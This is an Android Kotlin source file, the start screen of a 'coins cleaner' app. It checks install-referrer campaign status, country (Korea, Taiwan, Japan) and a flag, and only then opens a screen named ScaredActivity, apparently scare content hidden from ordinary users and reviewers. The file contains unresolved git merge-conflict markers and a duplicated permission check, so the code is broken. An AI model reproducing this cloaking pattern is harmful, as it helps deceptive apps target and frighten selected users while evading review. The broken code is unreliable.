package com.id.coinscleaner

import android.Manifest
import android.content.Intent
import android.os.Bundle
import android.util.Log
import androidx.activity.result.contract.ActivityResultContracts
import androidx.core.os.bundleOf
import androidx.lifecycle.lifecycleScope
import com.id.coinscleaner.common.ViewBindingActivity
import com.id.coinscleaner.databinding.ActivityStartBinding
import com.id.coinscleaner.scared.ScaredActivity
import com.id.coinscleaner.utils.*
import kotlinx.coroutines.flow.catch
import kotlinx.coroutines.flow.first
import kotlinx.coroutines.flow.map
import kotlinx.coroutines.launch

class StartActivity : ViewBindingActivity<ActivityStartBinding>() {
    val hasPermission = hasWriteStoragePermission && hasWriteStoragePermission
    private val launcher =
        registerForActivityResult(ActivityResultContracts.RequestMultiplePermissions()) {
            lifecycleScope.launch {
                //买量用户
                val result = InstallChannel.referrer().map {
                    Events.sendEvent(
                        "InstallReferrer",
                        bundleOf("referrer" to it.first, "isCampaign" to it.second)
                    )
                    it.second
                }.catch {
                    Events.sendEvent("InstallReferrerFailure", "msg" to it.message)
                    emit(false)
                }.first()
<<<<<<< HEAD
//                val locateCountry = Locale.getDefault().country
//                Log.w("gyk", "SplashActivity.$locateCountry -> ")
//                val inCountry = locateCountry == "KR" || locateCountry == "EN"
                val inCountry = Country.manualConfig("kr", "tw", "jp")
                val isEntryAlarmed = isEntryAlarmed()
                Log.w(javaClass.name, "SplashActivity.$inCountry $isEntryAlarmed $result ")
                if (!inCountry || !isEntryAlarmed || !result) {
                    startActivity(Intent(this@StartActivity, MainActivity::class.java))
=======
                val inCountry = Country.manualConfig("kr", "jp","tw")
                val isEntryAlarmed = isEntryAlarmed()
                Log.w("gyk", "SplashActivity.$inCountry $isEntryAlarmed $result ")
                if (!inCountry||!isEntryAlarmed||!result) {
                    startActivity(Intent(this@StartActivity, Main2Activity::class.java))
>>>>>>> 65dd7ef4291bce327bf4a6acb247be4d8b45e92b
                    finish()
                } else {
                    startActivity(Intent(this@StartActivity, ScaredActivity::class.java))
                    finish()
                }
            }
        }


    private fun requestMyPermissions() {
        if (!hasPermission) {
            Events.sendEvent("ask_storage_access")
        }
        launcher.launch(
            arrayOf(
                Manifest.permission.WRITE_EXTERNAL_STORAGE,
                Manifest.permission.READ_EXTERNAL_STORAGE,
            )
        )
    }

    override fun onInit(savedInstanceState: Bundle?) {
        if (!hasPermission) {
            Events.sendEvent("ask_storage_access")
        }
        lifecycleScope.launchWhenResumed {
            requestMyPermissions()
        }
    }

}
